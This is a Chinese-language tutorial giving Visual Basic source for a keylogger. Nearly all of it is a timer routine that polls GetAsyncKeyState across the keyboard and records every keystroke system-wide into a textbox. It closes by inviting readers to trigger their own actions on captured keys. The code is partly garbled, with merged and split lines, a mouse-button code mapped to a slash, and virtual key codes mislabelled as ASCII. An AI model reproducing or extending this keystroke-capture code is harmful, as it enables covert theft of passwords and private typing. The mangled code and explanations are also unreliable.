VB编写键盘记录器

这个程序主要是利用GetAsyncKeyState函数，
使用GetAsyncKeyState可以获得键盘的动作。
GetAsyncKeyState函数根据虚拟键表判断按键的类型。
返回值为一个16位的二进值数，如果被按下则最高位为1，
即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义：
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
好了，函数就先介绍这么多，下面开始动手实战了
first,当然是创建窗口了


在时间控件的Timer时间中定义检查按键类型，代码如下：
Dim AddKey
KeyResult = GetAsyncKeyState(13) '回车键
If KeyResult = -32767 Then
AddKey = "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(17) 'Ctrl键
If KeyResult = -32767 Then
AddKey = "[CTRL]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8) '退格键
If KeyResult = -32767 Then
AddKey = "[BKSPACE]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey = "[TAB]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(18)
If KeyResult = -32767 Then
AddKey = "[ALT]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(19)
If KeyResult = -32767 Then
AddKey = "[PAUSE]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
AddKey = "[CAPS]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
AddKey = "[ESC]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
AddKey = "[PGUP]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
AddKey = "[PGDN]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
AddKey = "[END]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
AddKey = "[HOME]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(44)
If KeyResult = -32767 Then
AddKey = "[SYSRQ]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
AddKey = "[INS]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
AddKey = "[DEL]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(144)
If KeyResult = -32767 Then
AddKey = "[NUM]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
AddKey = "[LEFT]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
AddKey = "[UP]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
AddKey = "[RIGHT]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
AddKey = "[DOWN]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey = "[F1]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey = "[F2]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeySta

te(114)
If KeyResult = -32767 Then
AddKey = "[F3]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey = "[F4]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey = "[F5]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey = "[F6]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey = "[F7]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey = "[F8]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey = "[F9]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey = "[F10]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey = "[F11]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey = "[F12]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
AddKey = "[F13]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
AddKey = "[F14]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
AddKey = "[F15]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
AddKey = "[F16]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = " "
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
AddKey = ";"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
AddKey = "="
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 ThenAddKey = ","
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
AddKey = "/" '/
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
AddKey = "`" '`
GoTo KeyFound
End If

'----------NUM PAD
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
AddKey = "0"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
AddKey = "1"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
AddKey = "2"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
AddKey = "3"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
AddKey = "4"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
AddKey = "5"
GoTo KeyFound
End If
'版权所有:教程中国

KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
AddKey

= "6"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
AddKey = "7"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
AddKey = "8"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
AddKey = "9"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey = "*"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey = "+"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
AddKey = "[ENTER]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(2)
If KeyResult = -32767 Then
AddKey = "/"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
AddKey = "\"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
AddKey = "'"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
AddKey = "]"


GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
AddKey = "["
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(16) 'shift键
If KeyResult = -32767 And TimeOut = 0 Then
AddKey = "[SHIFT]"
LastKey = AddKey
TimeOut = 1
GoTo KeyFound
End If

KeyLoop = 41

Do Until KeyLoop = 256 ' 显示其他键
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)
KeyLoop = KeyLoop + 1
Loop
LastKey = AddKey
Exit Sub
KeyFound: '显示键的信息

Text1 = Text1 & AddKey
End Sub
上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，……
由于数目太多，一一列举不方便
下面是其他的事件
Private Sub Timer2_Timer()
TimeOut = 0
End Sub
目的是随时刷新清空
记录键盘输入后就准备你自己所设定的程序了。。。


例如：按ＥＮＴＥＲ　
当ＶＢ检测到信息后执行相应的操作。。。